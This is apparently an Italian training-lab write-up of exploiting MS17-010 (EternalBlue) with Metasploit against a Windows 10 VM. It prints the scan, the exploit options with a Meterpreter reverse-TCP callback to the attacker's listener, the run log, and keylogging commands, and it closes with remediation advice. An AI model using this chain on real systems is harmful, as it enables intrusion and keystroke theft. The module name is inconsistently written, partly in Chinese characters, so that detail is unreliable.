

Sfruttamento vulnerabilità MS17-010 su sistema Windows

Introduzione

L'obiettivo dell'esercizio è quello di ottenere una sessione **Meterpreter** su un sistema **Windows target** sfruttando la vulnerabilità **MS17-010 (EternalBlue)** tramite il framework **Metasploit**.

Una volta ottenuto l'accesso, vengono svolte alcune attività di **post-exploitation**, come la cattura di screenshot, la verifica della presenza di webcam e il test di funzionalità di keylogging, oltre a una riflessione finale sulle possibili strategie di remediation della vulnerabilità.

L'attività è stata svolta in un ambiente di laboratorio controllato, utilizzando una macchina **Kali Linux** come attaccante e una macchina **Windows vulnerabile** come target.

Verifica della raggiungibilità del target

Come primo passo è stata verificata la connettività di rete tra la macchina Kali e il sistema Windows target tramite il comando ping. Il risultato mostra che il target risponde correttamente ai pacchetti ICMP, confermando che l'host è raggiungibile e pronto per le successive fasi di analisi.

```
(pireddone㉿kali)-[~]
$ ping -c 4 192.168.50.102
PING 192.168.50.102 (192.168.50.102) 56(84) bytes of data.
64 bytes from 192.168.50.102: icmp_seq=1 ttl=128 time=0.746 ms
64 bytes from 192.168.50.102: icmp_seq=2 ttl=128 time=0.356 ms
64 bytes from 192.168.50.102: icmp_seq=3 ttl=128 time=0.337 ms
64 bytes from 192.168.50.102: icmp_seq=4 ttl=128 time=0.368 ms

--- 192.168.50.102 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3076ms
rtt min/avg/max/mdev = 0.337/0.451/0.746/0.170 ms
```

Analisi della vulnerabilità MS17-010

Successivamente è stata eseguita una scansione mirata sulla porta **445/TCP** utilizzando **Nmap** con lo script `smb-vuln-ms17-010`, al fine di verificare la presenza della vulnerabilità. Dall'output della scansione risulta che il servizio SMB è attivo e che il sistema è **vulnerabile alla MS17-010**, una vulnerabilità critica di tipo **Remote Code Execution** associata a SMBv1.

Questo conferma che il target è potenzialmente sfruttabile tramite exploit EternalBlue.

```
(pireddone㉿kali)-[~]
$ nmap -p445 --script smb-vuln-ms17-010 192.168.50.102
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-30 17:33 CET
Nmap scan report for 192.168.50.102
Host is up (0.00052s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds
MAC Address: 08:00:27:34:48:36 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-01
0)
|       State: VULNERABLE
|       IDs: CVE:CVE-2017-0143
|       Risk factor: HIGH
|         A critical remote code execution vulnerability exists in Microsoft
SMBv1
|           servers (ms17-010).
|
|       Disclosure date: 2017-03-14
|       References:
|         https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidan
ce-for-wannacrypt-attacks/
|         https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 13.57 seconds
```

Fase di Exploitation con Metasploit

Una volta confermata la vulnerabilità, è stato avviato il framework **Metasploit** ed è stato selezionato il modulo exploit/windows/smb/ms17_010_永恒之蓝. Sono stati configurati correttamente i parametri fondamentali dell'exploit, come l'indirizzo IP del target (RHOSTS) e il payload windows/x64/meterpreter/reverse_tcp, impostando l'indirizzo IP della macchina Kali come listener (LHOST).

Name	Current Setting	Required	Description
RHOSTS	192.168.50.10 2	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.50.100	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Dopo l'avvio dell'exploit, l'attacco va a buon fine e viene aperta correttamente una **sessione Meterpreter** sul sistema Windows target, confermando il completo sfruttamento della vulnerabilità.

```
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.102:445 - Using auxiliary/scanner/smb/smb_ms17_010
    as check
[+] 192.168.50.102:445 - Host is likely VULNERABLE to MS17-010
! - Windows 10 Pro 10240 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/lib/recog/fingerprint/regexp_factory.rb:34: warning: ne
stedi repeat operator '+' and '?' was replaced with '*' in regular
expression
[*] 192.168.50.102:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.50.102:445 - The target is vulnerable.
[*] 192.168.50.102:445 - shellcode size: 1283
[*] 192.168.50.102:445 - numGroomConn: 12
[*] 192.168.50.102:445 - Target OS: Windows 10 Pro 10240
[+] 192.168.50.102:445 - got good NT Trans response
[+] 192.168.50.102:445 - got good NT Trans response
[+] 192.168.50.102:445 - SMB1 session setup allocate nonpaged poo
l success
[+] 192.168.50.102:445 - SMB1 session setup allocate nonpaged poo
l success
[+] 192.168.50.102:445 - good response status for nx: INVALID_PAR
AMETER
[+] 192.168.50.102:445 - good response status for nx: INVALID_PAR
AMETER
[*] Sending stage (230982 bytes) to 192.168.50.102
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.
50.102:49451) at 2026-01-30 17:42:24 +0100

meterpreter > █
```

Attività di Post-Exploitation

Una volta ottenuto l'accesso al sistema, sono state eseguite alcune operazioni di post-exploitation.

Il tentativo di catturare uno screenshot del desktop non ha avuto esito positivo, in quanto la sessione Meterpreter risulta essere stata avviata come servizio di sistema e non dispone di un desktop interattivo disponibile.

È stata inoltre verificata la presenza di dispositivi webcam sul sistema target, ma non sono state rilevate webcam installate sulla macchina virtuale.

Successivamente è stata testata la funzionalità di **keylogging**, avviando il modulo di cattura dei tasti, dimostrando la possibilità di intercettare l'input da tastiera anche in assenza di un desktop grafico attivo.

```
meterpreter > screenshot
[-] Error running command screenshot: Rex :: RuntimeError Current session was spawned by a service on Windows 8+. No desktops are available to screenshot.
meterpreter > webcam_list
[-] No webcams were found
meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes ...

meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.50.102 - Meterpreter session 1 closed. Reason: Died
msf exploit(windows/smb/ms17_010_永恒之蓝) > █
```

Considerazioni sulla Remediation (facoltativa)

La vulnerabilità MS17-010 può essere risolta applicando le **patch di sicurezza rilasciate da Microsoft** nel 2017, che correggono il problema a livello di protocollo SMB. Ulteriori misure di mitigazione includono la disabilitazione di **SMBv1**, la limitazione dell'accesso alla porta 445 tramite firewall e l'adozione di strategie di segmentazione di rete, in modo da ridurre i movimenti laterali di un eventuale attaccante una volta ottenuto l'accesso al sistema.

Conclusione

L'esercizio ha permesso di dimostrare come una vulnerabilità critica non corretta possa portare alla compromissione completa di un sistema Windows. Attraverso l'utilizzo di Metasploit è stato possibile ottenere una sessione Meterpreter e svolgere attività di post-exploitation, evidenziando l'importanza di mantenere i sistemi aggiornati e correttamente configurati dal punto di vista della sicurezza.